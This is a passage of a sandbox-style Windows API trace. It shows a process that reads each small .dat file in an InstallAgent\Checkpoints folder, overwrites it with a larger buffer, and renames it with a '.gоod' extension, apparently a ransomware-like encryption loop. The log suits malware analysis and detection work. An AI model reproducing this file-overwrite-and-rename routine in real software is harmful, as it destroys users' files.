[0229.547] CloseHandle (hObject=0x828) returned 1 [0229.574] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat", lpFilePart=0x0) returned 0x51 [0229.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0229.575] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbvb.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.576] GetFileType (hFile=0x828) returned 0x1 [0229.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0229.576] GetFileType (hFile=0x828) returned 0x1 [0229.576] WriteFile (in: hFile=0x828, lpBuffer=0x3754bf8*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x3754bf8*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0229.577] CloseHandle (hObject=0x828) returned 1 [0229.577] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat", lpFilePart=0x0) returned 0x51 [0229.577] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat.gоod", lpFilePart=0x0) returned 0x56 [0229.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0229.577] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbvb.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa608680, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa608680, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x850c6940, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0229.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0229.577] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbvb.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRDTBVB.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrdtbvb.dat.gоod")) returned 1 [0229.578] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat", lpFilePart=0x0) returned 0x51 [0229.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0229.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhv4v.dat"), fInfoLevelId=0x0, lpFileInformation=0x3755ed0 | out: lpFileInformation=0x3755ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fd75b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa4fd75b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa4fd75b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c7)) returned 1 [0229.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0229.578] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat", lpFilePart=0x0) returned 0x51 [0229.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0229.578] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhv4v.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.578] GetFileType (hFile=0x828) returned 0x1 [0229.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0229.579] GetFileType (hFile=0x828) returned 0x1 [0229.579] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c7 [0229.579] ReadFile (in: hFile=0x828, lpBuffer=0x3756380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3756380*, lpNumberOfBytesRead=0x207ec5c8*=0x1c7, lpOverlapped=0x0) returned 1 [0229.900] CloseHandle (hObject=0x828) returned 1 [0229.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat", lpFilePart=0x0) returned 0x51 [0229.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0229.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhv4v.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.960] GetFileType (hFile=0x828) returned 0x1 [0229.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0229.960] GetFileType (hFile=0x828) returned 0x1 [0229.960] WriteFile (in: hFile=0x828, lpBuffer=0x37d4310*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x37d4310*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0229.961] CloseHandle (hObject=0x828) returned 1 [0229.961] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat", lpFilePart=0x0) returned 0x51 [0229.961] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat.gоod", lpFilePart=0x0) returned 0x56 [0229.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0229.961] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhv4v.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fd75b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa4fd75b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x854805cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0229.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0229.961] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhv4v.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHV4V.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhv4v.dat.gоod")) returned 1 [0229.962] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat", lpFilePart=0x0) returned 0x51 [0229.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0229.962] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvfw.dat"), fInfoLevelId=0x0, lpFileInformation=0x37d55e8 | out: lpFileInformation=0x37d55e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa418a66, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa418a66, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa418a66, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c4)) returned 1 [0229.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0229.962] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat", lpFilePart=0x0) returned 0x51 [0229.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0229.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvfw.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.962] GetFileType (hFile=0x828) returned 0x1 [0229.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0229.962] GetFileType (hFile=0x828) returned 0x1 [0229.962] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c4 [0229.963] ReadFile (in: hFile=0x828, lpBuffer=0x37d5a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x37d5a98*, lpNumberOfBytesRead=0x207ec5c8*=0x1c4, lpOverlapped=0x0) returned 1 [0230.397] CloseHandle (hObject=0x828) returned 1 [0230.425] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat", lpFilePart=0x0) returned 0x51 [0230.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0230.425] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvfw.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0230.427] GetFileType (hFile=0x828) returned 0x1 [0230.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0230.427] GetFileType (hFile=0x828) returned 0x1 [0230.427] WriteFile (in: hFile=0x828, lpBuffer=0x38bd4d8*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x38bd4d8*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0230.428] CloseHandle (hObject=0x828) returned 1 [0230.428] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat", lpFilePart=0x0) returned 0x51 [0230.428] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat.gоod", lpFilePart=0x0) returned 0x56 [0230.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0230.428] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvfw.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa418a66, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa418a66, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x858e45be, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0230.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0230.428] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvfw.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVFW.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvfw.dat.gоod")) returned 1 [0230.429] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat", lpFilePart=0x0) returned 0x51 [0230.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0230.429] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvh4.dat"), fInfoLevelId=0x0, lpFileInformation=0x38be7b0 | out: lpFileInformation=0x38be7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ec73, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa43ec73, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa43ec73, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6)) returned 1 [0230.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0230.429] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat", lpFilePart=0x0) returned 0x51 [0230.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0230.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvh4.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0230.429] GetFileType (hFile=0x828) returned 0x1 [0230.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0230.429] GetFileType (hFile=0x828) returned 0x1 [0230.429] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c6 [0230.429] ReadFile (in: hFile=0x828, lpBuffer=0x38bec60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x38bec60*, lpNumberOfBytesRead=0x207ec5c8*=0x1c6, lpOverlapped=0x0) returned 1 [0230.932] CloseHandle (hObject=0x828) returned 1 [0231.689] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat", lpFilePart=0x0) returned 0x51 [0231.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0231.689] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvh4.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0231.691] GetFileType (hFile=0x630) returned 0x1 [0231.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0231.691] GetFileType (hFile=0x630) returned 0x1 [0231.691] WriteFile (in: hFile=0x630, lpBuffer=0x3768820*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x3768820*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0231.692] CloseHandle (hObject=0x630) returned 1 [0231.692] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat", lpFilePart=0x0) returned 0x51 [0231.692] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat.gоod", lpFilePart=0x0) returned 0x56 [0231.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0231.692] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvh4.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ec73, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa43ec73, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x864f63bf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0231.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0231.692] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvh4.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVH4.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvh4.dat.gоod")) returned 1 [0231.693] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat", lpFilePart=0x0) returned 0x51 [0231.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0231.693] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvjl.dat"), fInfoLevelId=0x0, lpFileInformation=0x3769af8 | out: lpFileInformation=0x3769af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81e4ec, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa81e4ec, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa81e4ec, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca)) returned 1 [0231.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0231.693] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat", lpFilePart=0x0) returned 0x51 [0231.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0231.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvjl.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0231.693] GetFileType (hFile=0x630) returned 0x1 [0231.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0231.693] GetFileType (hFile=0x630) returned 0x1 [0231.693] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1ca [0231.693] ReadFile (in: hFile=0x630, lpBuffer=0x3769fb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x3769fb0*, lpNumberOfBytesRead=0x207ec5c8*=0x1ca, lpOverlapped=0x0) returned 1 [0231.835] CloseHandle (hObject=0x630) returned 1 [0235.896] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat", lpFilePart=0x0) returned 0x51 [0235.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0235.897] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9WZDNCRFHVJL.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9wzdncrfhvjl.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0235.898] GetFileType (hFile=0x858) 